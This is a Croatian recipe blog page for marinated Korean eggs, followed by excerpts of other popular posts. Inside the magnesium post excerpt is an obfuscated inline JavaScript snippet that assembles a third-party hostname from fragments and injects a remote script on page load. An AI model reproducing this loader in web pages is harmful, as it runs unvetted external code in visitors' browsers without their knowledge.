MARINIRANA KOREJSKA JAJA





Marinirana korejska jaja 



Marinirana korejska jaja poslužuju za doručak, ručak i večeru, a najčešće sljubljuju s kuhanom rižom. Recept je vrlo jednostavan, ali iziskuje određenu pripremu – i strpljenje. Kuhana jaja važno je marinirati barem dva sati, a idealno bi bilo preko noći kako bi dobila prepoznatljivi okus.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Marinirana korejska jaja 


Sastojci:

  • 12 jaja
  • 240 ml umaka od soje
  • 120 ml meda
  • 120 ml vode
  • 5-6 češnja češnjaka
  • 3 mlada luka
  • 2 žlice octa
  • 2 čajna žličice soli
  • 1-2 čili papričice
  • 1 žlica sezamovog ulja
  • sezamove sjemenke
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Priprema:

  1. U lonac stavite vodu dostatnu za kuhanje 12 jaja, dvije čajne žličice soli i dvije žlice octa i pomiješajte. Zagrijte vodu na srednje jakoj vatri. Kada voda zakipi, pažljivo ubacite u nju jedno po jedno jaje i kuhajte ih točno 6 minuta.
  2. Po isteku tog vremena prebacite jaja u zdjelu napunjenu hladnom vodom i komadićima leda kako biste prekinuli termičku obradu. Ostavite ih u ledenoj kupki oko 10 minuta, a potom ih pažljivo ogulite i stavite sa strane.
  3. U posudu stavite nasjeckani češnjak, čili papričice i mladi luk. Prelijte nasjeckano povrće s umakom od soje, vodom, medom i sezamovim uljem i sve dobro promiješajte. Uronite jaja u ovu mješavinu - dobro bi bilo da su što bolje uronjena u marinadu. Dodajte i sezamove sjemenke po želji.
  4. Stavite sve zajedno u hladnjak na minimalno 2 sata, a idealno bi bilo preko noći. Poslužite marinirana korejska jaja uz zdjelicu vruće riže i uživajte. Dobar tek!
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više